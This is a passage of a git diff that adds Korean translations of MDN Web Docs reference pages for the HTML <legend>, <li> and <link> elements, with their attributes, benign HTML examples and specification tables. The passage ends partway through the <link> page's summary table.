+<h2 id="예제">예제</h2>
+
+<p>{{HTMLElement("form")}}의 예제를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "forms.html#the-legend-element", "&lt;legend&gt;")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>Definition of the <code>legend</code> element</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "sec-forms.html#the-legend-element", "&lt;legend&gt;")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML4.01", "interact/forms.html#h-17.10", "&lt;legend&gt;")}}</td>
+ <td>{{Spec2("HTML4.01")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.legend")}}</p>
diff --git a/files/ko/web/html/element/li/index.html b/files/ko/web/html/element/li/index.html
new file mode 100644
index 0000000000..03d7df653a
--- /dev/null
+++ b/files/ko/web/html/element/li/index.html
@@ -0,0 +1,154 @@
+---
+title: <li>
+slug: Web/HTML/Element/li
+tags:
+ - Element
+ - HTML
+ - HTML grouping content
+ - Reference
+translation_of: Web/HTML/Element/li
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;li&gt;</code> 요소</strong>는 목록의 항목을 나타냅니다.</span> 반드시 정렬 목록({{htmlelement("ol")}}), 비정렬 목록({{htmlelement("ul")}}, 혹은 메뉴({{htmlelement("menu")}}) 안에 위치해야 합니다. 메뉴와 비정렬 목록에서는 보통 불릿으로 항목을 나타내고, 정렬 목록에서는 숫자나 문자를 사용한 오름차순 카운터로 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/li.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>다른 <code>&lt;li&gt;</code> 요소 바로 뒤따르거나 자신이 부모의 마지막 자식인 경우 닫는 태그를 생략할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{HTMLElement("ul")}}, {{HTMLElement("ol")}}, {{HTMLElement("menu")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("option")}}, {{ARIARole("presentation")}}, {{ARIARole("radio")}}, {{ARIARole("separator")}}, {{ARIARole("tab")}}, {{ARIARole("treeitem")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLLIElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>{{HTMLElement("ol")}} 요소 내부에서 항목의 현재 서수 값을 나타내는 정수. 리스트가 로마 숫자나 문자로 표시되더라도 이 특성에는 숫자만 넣을수 있습니다. <code>value</code>를 지정한 항목을 뒤따르는 다른 항목은 이 값에서부터 번호를 매깁니다. <code>value</code> 속성은 비정렬 목록({{HTMLElement("ul")}})과 메뉴({{HTMLElement("menu")}})에서는 아무 의미가 없습니다.
+ <div class="note"><strong>참고</strong>: HTML4에서는 <code>value</code>의 사용을 중단했지만 HTML5에서 다시 도입했습니다.</div>
+ </dd>
+ <dt>{{htmlattrdef("type")}} {{Deprecated_inline}}</dt>
+ <dd>넘버링 타입을 나타내는 문자.
+ <ul>
+ <li><code>a</code>: 소문자 글자</li>
+ <li><code>A</code>: 대문자 글자</li>
+ <li><code>i</code>: 소문자 로마 숫자</li>
+ <li><code>I</code>: 대문자 문자 숫자</li>
+ <li><code>1</code>: 숫자</li>
+ </ul>
+ 부모 {{HTMLElement("ol")}} 요소에서 지정하는 유형을 덮어씁니다.
+
+ <div class="note"><strong>참고:</strong> 이 속성은 사용 중단됐습니다. 대신 CSS {{cssxref("list-style-type")}} 속성을 사용하세요.</div>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>더 자세한 예제는 {{htmlelement("ol")}}과 {{htmlelement("ul")}}을 참고하세요.</p>
+
+<h3 id="정렬_목록">정렬 목록</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+ &lt;li&gt;first item&lt;/li&gt;
+ &lt;li&gt;second item&lt;/li&gt;
+ &lt;li&gt;third item&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>{{EmbedLiveSample("정렬_목록")}}</p>
+
+<h3 id="사용자_지정_값을_가진_정렬_목록">사용자 지정 값을 가진 정렬 목록</h3>
+
+<pre class="brush: html">&lt;ol type="I"&gt;
+ &lt;li value="3"&gt;third item&lt;/li&gt;
+ &lt;li&gt;fourth item&lt;/li&gt;
+ &lt;li&gt;fifth item&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>{{EmbedLiveSample("사용자_지정_값을_가진_정렬_목록")}}</p>
+
+<h3 id="비정렬_목록">비정렬 목록</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+ &lt;li&gt;first item&lt;/li&gt;
+ &lt;li&gt;second item&lt;/li&gt;
+ &lt;li&gt;third item&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>{{EmbedLiveSample("비정렬_목록")}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-li-element', '&lt;li&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'the-li-element.html#the-li-element', '&lt;li&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'lists.html#h-10.2', '&lt;li&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>The <code>type</code> attribute has been deprecated.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.li")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>리스트 관련 다른 요소: {{HTMLElement("ul")}}, {{HTMLElement("li")}}, {{HTMLElement("menu")}}.</li>
+ <li><code>&lt;li&gt;</code> 요소와 유용하게 사용할 수 있는 CSS 속성
+ <ul>
+ <li>서수를 표현할 방식을 지정하는 {{cssxref("list-style")}} 속성.</li>
+ <li>복잡한 중첩 목록을 처리하기 위한 <a href="/ko/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS 카운터</a></li>
+ <li>항목의 들여쓰기를 조정하기 위한 {{cssxref("margin")}} 속성.</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/element/link/index.html b/files/ko/web/html/element/link/index.html
new file mode 100644
index 0000000000..fcbf91c85b
--- /dev/null
+++ b/files/ko/web/html/element/link/index.html
@@ -0,0 +1,365 @@
+---
+title: '<link>: 외부 리소스 연결 요소'
+slug: Web/HTML/Element/link
+tags:
+ - Element
+ - HTML
+ - HTML document metadata
+ - Reference
+ - Web
+ - favicon
+ - metadata
+ - 메타데이터
+ - 파비콘
+translation_of: Web/HTML/Element/link
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;link&gt;</code></strong> 요소는 현재 문서와 외부 리소스의 관계를 명시합니다. <code>&lt;link&gt;</code>는 {{glossary("CSS", "스타일 시트")}}를 연결할 때 제일 많이 사용하지만, 사이트 아이콘("파비콘"과 홈 화면 아이콘) 연결 등 여러가지로 쓰일 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/link.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>외부 스타일 시트를 연결하려면 {{htmlelement("head")}} 안에 다음과 같은 <code>&lt;link&gt;</code> 요소를 배치하세요.</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link href="main.css" rel="stylesheet"&gt;</pre>
+
+<p>위의 간단한 예제는 <code>href</code> 특성에 스타일 시트의 경로를, <code>rel</code> 특성에 <code>stylesheet</code>을 사용합니다. <code>rel</code>은 관계(<em>rel</em>ationship)를 뜻하며, 현재 문서와 연결한 아이템의 관계가 어떻게 되는지 설명합니다. 따라서 <code>&lt;link&gt;</code> 요소의 제일 중요한 기능 중 하나라고 볼 수 있습니다. <a href="/ko/docs/Web/HTML/Link_types">링크 유형</a> 참고서에서 볼 수 있듯 관계에는 다양한 종류가 있습니다.</p>
+
+<p>그중에서도 몇 가지 자주 쓰이는 유형이 있습니다. 사이트의 파비콘을 연결하려면 다음과 같이 사용합니다.</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link rel="icon" href="favicon.ico"&gt;</pre>
+
+<p>아이콘을 위한 <code>rel</code> 값도 여러개가 있으며, 주 용도는 다양한 휴대기기 플랫폼의 특별한 아이콘을 나타내기 위함입니다.</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link rel="apple-touch-icon-precomposed" sizes="114x114"
+ href="apple-icon-114.png" type="image/png"&gt;</pre>
+
+<p><code>sizes</code> 특성은 아이콘 크기를, <code>type</code> 특성은 연결한 리소스의 MIME을 포함합니다. 브라우저는 이런 여러가지 정보를 통해 가장 적합한 아이콘을 선택합니다.</p>
+
+<p><code>media</code> 특성을 사용해 미디어 유형이나 쿼리를 지정할 수도 있습니다. 그러면 해당 미디어 조건을 만족할 때만 리소스를 불러옵니다.</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link href="print.css" rel="stylesheet" media="print"&gt;
+&lt;link href="mobile.css" rel="stylesheet" media="screen and (max-width: 600px)"&gt;</pre>
+
+<p>새로운 성능 및 보안 관련 기능도 <code>&lt;link&gt;</code> 요소에 추가됐습니다. 다음 코드로 살펴보겠습니다.</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link rel="preload" href="myFont.woff2" as="font"
+ type="font/woff2" crossorigin="anonymous"&gt;</pre>
+
+<p><code>rel</code>의 <code>preload</code> 값은 브라우저가 이 리소스를 미리 불러와야 한다는 것(자세한 정보는 <a href="/ko/docs/Web/HTML/Preloading_content">이 문서</a>를 참고하세요)을 나타내고, <code>as</code> 특성은 가져오는 리소스가 어떤 리소스인지 나타냅니다. <code>crossorigin</code> 특성은 리소스를 {{glossary("CORS")}} 요청으로 불러와야 하는지에 대한 값입니다.</p>
+
+<div class="hidden">
+<p>Other usage notes:</p>
+
+<ul>
+ <li>A <code>&lt;link&gt;</code> element can occur either in the {{HTMLElement("head")}} or {{HTMLElement("body")}} element, depending on whether it has a <a href="https://html.spec.whatwg.org/multipage/links.html#body-ok">link type</a> that is <strong>body-ok</strong>. For example, the <code>stylesheet</code> link type is body-ok, and therefore <code>&lt;link rel="stylesheet"&gt;</code> is permitted in the body. However, this isn't a good practice to follow; it makes more sense to separate your <code>&lt;link&gt;</code> elements from your body content, putting them in the <code>&lt;head&gt;</code>.</li>
+ <li>When using <code>&lt;link&gt;</code> to establish a favicon for a site, and your site uses a Content Security Policy (CSP) to enhance its security, the policy applies to the favicon. If you encounter problems with the favicon not loading, verify that the {{HTTPHeader("Content-Security-Policy")}} header's <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/img-src"><code>img-src</code> directive</a> is not preventing access to it.</li>
+ <li>The HTML and XHTML specifications define event handlers for the <code>&lt;link&gt;</code> element, but it is unclear how they would be used.</li>
+ <li>Under XHTML 1.0, empty elements such as <code>&lt;link&gt;</code> require a trailing slash: <code>&lt;link /&gt;</code>.</li>
+ <li>WebTV supports the use of the value <code>next</code> for <code>rel</code> to preload the next page in a document series.</li>
+</ul>
+</div>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다</p>
+
+<dl>
+ <dt>{{HTMLAttrDef("as")}}</dt>
+ <dd><code>&lt;link&gt;</code> 요소에 <code>rel="preload"</code> 또는 <code>rel="prefetch"</code> 특성을 지정했을 때만 사용합니다. <code>as</code> 특성은 <code>&lt;link&gt;</code> 요소가 불러오는 콘텐츠의 유형을 지정합니다. 요청 매칭, 올바른 콘텐츠 보안 정책의 적용, 올바른 {{HTTPHeader("Accept")}} 요청 헤더 적용에 필요합니다. 이에 더해, <code>rel="preload"</code>는 <code>as</code> 특성을 사용해 요청 우선순위를 매깁니다. 다음 표는 특성의 유효한 값과, 해당 값이 적용되는 요소 또는 리소스를 나열합니다.</dd>
+ <dd>
+ <table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">값</th>
+ <th scope="col">적용 대상</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>audio</code></td>
+ <td><code>&lt;audio&gt;</code> 요소</td>
+ </tr>
+ <tr>
+ <td><code>document</code></td>
+ <td><code>&lt;iframe&gt;</code>과 <code>&lt;frame&gt;</code> 요소</td>
+ </tr>
+ <tr>
+ <td><code>embed</code></td>
+ <td><code>&lt;embed&gt;</code> 요소</td>
+ </tr>
+ <tr>
+ <td><code>fetch</code></td>
+ <td>
+ <p><code>fetch</code>, XHR</p>
+
+ <div class="blockIndicator note">
+ <p><code>fetch</code> 값은 <code>&lt;link&gt;</code> 요소에 <code>crossorigin</code> 특성도 요구합니다.</p>
+ </div>
+ </td>
+ </tr>
+ <tr>
+ <td><code>font</code></td>
+ <td>CSS <code>@font-face</code></td>
+ </tr>
+ <tr>
+ <td><code>image</code></td>
+ <td><code>srcset</code> 또는 <code>imageset</code> 특성을 가진 <code>&lt;img&gt;</code>와 <code>&lt;picture&gt;</code> 요소, SVG <code>&lt;image&gt;</code> 요소, CSS <code>*-image</code> 규칙</td>
+ </tr>
+ <tr>
+ <td><code>object</code></td>
+ <td><code>&lt;object&gt;</code> 요소</td>
+ </tr>
+ <tr>
+ <td><code>script</code></td>
+ <td><code>&lt;script&gt;</code> 요소, 워커 <code>importScripts</code></td>
+ </tr>
+ <tr>
+ <td><code>style</code></td>
+ <td><code>&lt;link rel=stylesheet&gt;</code> 요소, CSS <code>@import</code></td>
+ </tr>
+ <tr>
+ <td><code>track</code></td>
+ <td><code>&lt;track&gt;</code> 요소</td>
+ </tr>
+ <tr>
+ <td><code>video</code></td>
+ <td><code>&lt;video&gt;</code> 요소</td>
+ </tr>
+ <tr>
+ <td><code>worker</code></td>
+ <td>워커, 공유 워커</td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>리소스를 가져올 때 {{glossary("CORS")}}를 사용해야 하는지 나타내는 열거형 특성입니다. <a href="/ko/docs/Web/HTML/CORS_Enabled_Image">CORS 활성화 이미지</a>는 {{HTMLElement("canvas")}} 요소를 "오염"(taint)시키지 않고 재사용할 수 있습니다. 가능한 값은 다음과 같습니다.
+ <dl>
+ <dt><code>anonymous</code></dt>
+ <dd>교차 출처 요청({{HTTPHeader("Origin")}} HTTP 헤더를 가진 요청)을 수행하지만 인증 정보, 즉 쿠키, X.509 인증서, HTTP Basic 인증 중 어떠한 것도 전송하지 않습니다. 서버에서 {{HTTPHeader("Access-Control-Allow-Origin")}} HTTP 헤더를 설정하지 않아서 출처 사이트에 인증 정보를 전달하지 않으면 리소스가 오염되어 사용처가 제한됩니다.</dd>
+ <dt><code>use-credentials</code></dt>
+ <dd>교차 출처 요청({{HTTPHeader("Origin")}} HTTP 헤더를 가진 요청)을 수행하면서 인증 정보, 즉 쿠키, X.509 인증서, HTTP Basic 인증 중 한 가지 이상을 수행합니다. 서버에서 {{HTTPHeader("Access-Control-Allow-Origin")}} HTTP 헤더를 설정하지 않아서 출처 사이트에 인증 정보를 전달하지 않으면 리소스가 오염되어 사용처가 제한됩니다.</dd>
+ </dl>
+ <code> crossorigin</code> 특성이 존재하지 않으면 리소스를 {{Glossary("CORS")}} 요청 없이 가져오므로 리소스의 오염 없이는 사용이 불가능합니다. 유효하지 않은 값은 <strong>anonymous</strong>를 지정한 것으로 간주합니다. <a href="/ko/docs/Web/HTML/Attributes/crossorigin">CORS 설정 특성</a> 문서에서 더 자세한 정보를 알아보세요.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>
+ <p><code>rel="stylesheet"</code>에 한정하여, <code>disabled</code> 불리언 특성은 스타일시트를 불러와서 문서에 적용할지 나타냅니다. HTML을 불러오는 시점에 <code>disabled</code>를 지정한 경우 스타일시트는 페이지 로딩 시점에 불러오지 않습니다. 이후에 <code>disabled</code> 특성이 <code>false</code>로 바뀌거나 아예 제거될 때는 불러옵니다.</p>
+
+ <p>DOM에서 <code>disabled</code> 속성을 지정하면 문서의 {{domxref("document.styleSheets")}} 리스트에서 스타일시트를 제거합니다.</p>
+ </dd>
+ <dt>{{HTMLAttrDef("href")}}</dt>
+ <dd>연결할 리소스의 {{glossary("URL")}}입니다. 절대와 상대 URL 모두 가능합니다.</dd>
+ <dt>{{HTMLAttrDef("hreflang")}}</dt>
+ <dd>연결할 리소스가 사용하는 언어입니다. 오직 제안하는 용도로만 사용합니다. 가능한 값은 <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a>에 따릅니다. {{htmlattrxref("href", "link")}} 특성이 존재할 때만 사용하세요.</dd>
+ <dt id="name-attribute">{{HTMLAttrDef("importance")}} {{Experimental_Inline}}</dt>
+ <dd>리소스의 상대적인 중요도입니다. 가능한 값은 다음과 같습니다.</dd>
+ <dd>
+ <p><strong><code>auto</code></strong>: <strong>설정 안함</strong>. 브라우저가 자체 휴리스틱을 사용해 리소스의 우선순위를 결정합니다.</p>
+
+ <p><strong><code>high</code></strong>: 브라우저에게 리소스가 <strong>높은</strong> 우선순위를 지님을 알려줍니다.</p>
+
+ <p><strong><code>low</code></strong>: 브라우저에게 리소스가 <strong>낮은</strong> 우선순위를 지님을 알려줍니다.</p>
+
+ <div class="blockIndicator note">
+ <p><strong>참고: </strong><code>importance</code> 특성은 <code>&lt;link&gt;</code> 요소가 <code>rel="preload"</code> 또는 <code>rel="prefetch"</code>를 가지고 있어야 사용할 수 있습니다.</p>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("integrity")}} {{Experimental_Inline}}</dt>
+ <dd>Contains inline metadata — a base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch. The browser can use this to verify that the fetched resource has been delivered free of unexpected manipulation. See <a href="/en-US/docs/Web/Security/Subresource_Integrity">Subresource Integrity</a>.</dd>
+ <dt>{{htmlattrdef("media")}}</dt>
+ <dd>연결된 리소스를 적용할 미디어를 명시합니다. 값으로는 반드시 미디어 유형이나 미디어 쿼리를 사용해야 합니다. <code>media</code> 특성은 사용자 에이전트가 현재 장치에 맞춰 최적의 스타일시트를 선택하도록 할 수 있으므로 주로 외부 스타일시트를 연결할 때 유용합니다.
+ <div class="note"><strong>참고: </strong>
+ <ul>
+ <li>HTML 4에서는 이 특성의 값으로 사용할 수 있는<code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code>등과 같은 값을 공백으로 구분한 미디어 설명 문자열 목록, 예를 들어, 미디어 유형 및 그룹(<a href="/en-US/docs/CSS/@media">media types and groups</a>)일 수 있습니다.HTML5에서는 이를 확장하여 HTML 4에서 허용되는 값 외에 어떤 유형의<a href="/en-US/docs/CSS/Media_queries">media queries</a>든 사용할 수 있습니다.</li>
+ <li><a href="/en-US/docs/CSS/Media_queries">CSS3 Media Queries</a>를 지원하지 않는 브라우저는 이를 타당한 링크로 인식하지 않을 수 있으므로HTML 4에 정의되어 있는제한된 media query의 집합을 이용한 폴백(fallback) 링크를 설정하는 것을 잊지 말기바랍니다.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("referrerpolicy")}} {{Experimental_Inline}}</dt>
+ <dd>A string indicating which referrer to use when fetching the resource:
+ <ul>
+ <li><code>no-referrer</code> means that the {{HTTPHeader("Referer")}} header will not be sent.</li>
+ <li><code>no-referrer-when-downgrade</code> means that no {{HTTPHeader("Referer")}} header will be sent when navigating to an origin without TLS (HTTPS). This is a user agent’s default behavior, if no policy is otherwise specified.</li>
+ <li><code>origin</code> means that the referrer will be the origin of the page, which is roughly the scheme, the host, and the port.</li>
+ <li><code>origin-when-cross-origin</code> means that navigating to other origins will be limited to the scheme, the host, and the port, while navigating on the same origin will include the referrer's path.</li>
+ <li><code>unsafe-url</code> means that the referrer will include the origin and the path (but not the fragment, password, or username). This case is unsafe because it can leak origins and paths from TLS-protected resources to insecure origins.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("rel")}}</dt>
+ <dd>연결할 리소스와 현재 문서의 관계. <a href="/ko/docs/Web/HTML/Link_types">링크 유형</a>의 값을 공백으로 구분한 리스트를 지정해야 합니다.</dd>
+ <dt>{{HTMLAttrDef("sizes")}}</dt>
+ <dd>This attribute defines the sizes of the icons for visual media contained in the resource. It must be present only if the {{HTMLAttrxRef("rel", "link")}} contains a value of <code>icon</code> or a non-standard type such as Apple's <code>apple-touch-icon</code>. It may have the following values:
+ <ul>
+ <li><code>any</code>, meaning that the icon can be scaled to any size as it is in a vector format, like <code>image/svg+xml</code>.</li>
+ <li>a white-space separated list of sizes, each in the format <code><em>&lt;width in pixels&gt;</em>x<em>&lt;height in pixels&gt;</em></code> or <code><em>&lt;width in pixels&gt;</em>X<em>&lt;height in pixels&gt;</em></code>. Each of these sizes must be contained in the resource.</li>
+ </ul>
+
+ <div class="blockIndicator note">
+ <p><strong>Note: </strong>Most icon formats are only able to store one single icon; therefore most of the time the {{HTMLAttrxRef("sizes")}} attribute contains only one entry. MS's ICO format does, as well as Apple's ICNS. ICO is more ubiquitous, so you should use this format if cross-browser support is a concern (especially for old IE versions).</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("title")}}</dt>
+ <dd>The <code>title</code> attribute has special semantics on the <code>&lt;link&gt;</code> element. When used on a <code>&lt;link rel="stylesheet"&gt;</code> it defines a <a href="/ko/docs/Web/CSS/Alternative_style_sheets">preferred or an alternate stylesheet</a>. Incorrectly using it may <a href="/ko/docs/Correctly_Using_Titles_With_External_Stylesheets">cause the stylesheet to be ignored</a>.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>이 특성은 링크된 콘텐츠의 타입을 정의하는데 사용됩니다. 특성의 값은<strong> text/html</strong>, <strong>text/css</strong>와 같은 MIME 타입이여야합니다. 이 특성은 링크된 스타일시트의 타입을 지정하는데 쓰이는것이 보통이며, text/css 값이 가장 흔합니다.</dd>
+</dl>
+
+<h3 id="비표준_특성">비표준 특성</h3>
+
+<dl>
+ <dt>{{HTMLAttrDef("methods")}} {{Non-standard_Inline}}</dt>
+ <dd>The value of this attribute provides information about the functions that might be performed on an object. The values generally are given by the HTTP protocol when it is used, but it might (for similar reasons as for the <strong>title</strong> attribute) be useful to include advisory information in advance in the link. For example, the browser might choose a different rendering of a link as a function of the methods specified; something that is searchable might get a different icon, or an outside link might render with an indication of leaving the current site. This attribute is not well understood nor supported, even by the defining browser, Internet Explorer 4.</dd>
+ <dt>{{HTMLAttrDef("prefetch")}} {{Non-standard_Inline}} {{secureContext_inline}}</dt>
+ <dd>This attribute identifies a resource that might be required by the next navigation and that the user agent should retrieve it. This allows the user agent to respond faster when the resource is requested in the future.</dd>
+ <dt>{{HTMLAttrDef("target")}} {{Non-standard_Inline}}</dt>
+ <dd>Defines the frame or window name that has the defined linking relationship or that will show the rendering of any linked resource.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="폐기된_특성">폐기된 특성</h3>
+
+<dl>
+ <dt>{{HTMLAttrDef("charset")}} {{Obsolete_Inline}}</dt>
+ <dd>This attribute defines the character encoding of the linked resource. The value is a space- and/or comma-delimited list of character sets as defined in {{rfc(2045)}}. The default value is <code>iso-8859-1</code>.
+ <div class="note"><strong>Usage note:</strong> To produce the same effect as this obsolete attribute, use the {{HTTPHeader("Content-Type")}} HTTP header on the linked resource.</div>
+ </dd>
+ <dt>{{HTMLAttrDef("rev")}} {{Obsolete_Inline}}</dt>
+ <dd>The value of this attribute shows the relationship of the current document to the linked document, as defined by the {{HTMLAttrxRef("href", "link")}} attribute. The attribute thus defines the reverse relationship compared to the value of the <code>rel</code> attribute. <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Link_types">Link type values</a> for the attribute are similar to the possible values for {{HTMLAttrxRef("rel", "link")}}.</dd>
+ <dd>
+ <div class="blockIndicator note">
+ <p><strong>Note:</strong> This attribute is considered obsolete by the WHATWG HTML living standard (which is the specification MDN treats as canonical). However, it's worth noting that <code>rev</code> is <em>not</em> considered obsolete in the W3C specification. That said, given the uncertainty, relying on <code>rev</code> is unwise.</p>
+
+ <p>Instead, you should use the {{HTMLAttrxRef("rel", "link")}} attribute with the opposite <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Link_types">link type value</a>. For example, to establish the reverse link for <code>made</code>, specify <code>author</code>. Also this attribute doesn't stand for "revision" and must not be used with a version number, even though many sites misuse it in this way.</p>
+ </div>
+ </dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="스타일_시트_포함하기">스타일 시트 포함하기</h3>
+
+<p>페이지에 스타일 시트를 포함하려면 다음 구문을 사용하세요.</p>
+
+<pre class="brush: html notranslate">&lt;link href="style.css" rel="stylesheet"&gt;
+</pre>
+
+<h3 id="대체_스타일시트_제공하기">대체 스타일시트 제공하기</h3>
+
+<p><a href="/en-US/docs/Web/CSS/Alternative_style_sheets">대체 스타일시트</a>를 제공할 수도 있습니다.</p>
+
+<p>유저는 View&gt;Page Style 메뉴에서 사용할 스타일시트를 고를수 있습니다. 이것은 유저가 페이지를 여러 버전으로 볼수 있는 방법을 제공합니다.</p>
+
+<pre class="brush: html notranslate">&lt;link href="default.css" rel="stylesheet" title="Default Style"&gt;
+&lt;link href="fancy.css" rel="alternate stylesheet" title="Fancy"&gt;
+&lt;link href="basic.css" rel="alternate stylesheet" title="Basic"&gt;
+</pre>
+
+<h3 id="Providing_icons_for_different_usage_contexts">Providing icons for different usage contexts</h3>
+
+<p>You can include links to several different icons on the same page, and the browser will choose which one works best for its particular context using the <code>rel</code> and <code>sizes</code> values as hints.</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;!-- third-generation iPad with high-resolution Retina display: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="144x144" href="favicon144.png"&gt;
+&lt;!-- iPhone with high-resolution Retina display: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="114x114" href="favicon114.png"&gt;
+&lt;!-- first- and second-generation iPad: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="72x72" href="favicon72.png"&gt;
+&lt;!-- non-Retina iPhone, iPod Touch, and Android 2.1+ devices: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" href="favicon57.png"&gt;
+&lt;!-- basic favicon --&gt;
+&lt;link rel="icon" href="favicon32.png"&gt;</pre>
+
+<h3 id="스타일_시트_load_이벤트">스타일 시트 load 이벤트</h3>
+
+<p>당신은 load 이벤트를 통해 스타일시트가 언제 로드되는지 확인할수 있습니다. 비슷한 방법으로, 당신은 error 이벤트를 통해 스타일시트를 처리하는 도중 에러가 발생했는지 확인할 수 있습니다:</p>
+
+<pre class="brush: html notranslate">&lt;script&gt;
+function sheetLoaded() {
+ // Do something interesting; the sheet has been loaded
+}
+
+function sheetError() {
+ alert("An error occurred loading the stylesheet!");
+}
+&lt;/script&gt;
+
+&lt;link rel="stylesheet" href="mystylesheet.css" onload="sheetLoaded()" onerror="sheetError()"&gt;
+</pre>
+
+<div class="note"><strong>참고:</strong> The <code>load</code> event fires once the stylesheet and all of its imported content has been loaded and parsed, and immediately before the styles start being applied to the content.</div>
+
+<h2 id="기술_요약">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>메타데이터 콘텐츠. <code><a href="/ko/docs/Web/HTML/Global_attributes/itemprop">itemprop</a></code>이 존재하면 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a> 및 <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
